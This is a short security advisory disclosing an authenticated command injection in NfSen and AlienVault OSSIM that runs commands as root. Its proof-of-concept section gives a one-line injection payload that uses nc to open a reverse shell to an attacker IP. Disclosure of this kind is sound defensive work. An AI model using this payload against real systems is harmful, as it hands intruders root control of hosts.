NfSen < 1.3.7 / AlienVault OSSIM 4.3.1 - 'customfmt' Command Injection
# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter) # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected. # Version: AlienVault USM/OSSIM < 4.3.1 # Date: 2017-07-10 # Vendor Homepage: http://nfsen.sourceforge.net/ # Vendor Homepage: http://www.alienvault.com/ # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Tested on: NfSen 1.3.7 # CVE: CVE-2017-7175, CVE-2017-6972 1. Description A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972. 2. Proof of Concept For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box: '; nc -ne /bin/bash 10.100.1.2 443 # If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability. 3. Solution: Update to latest version of NfSen/USM/OSSIM |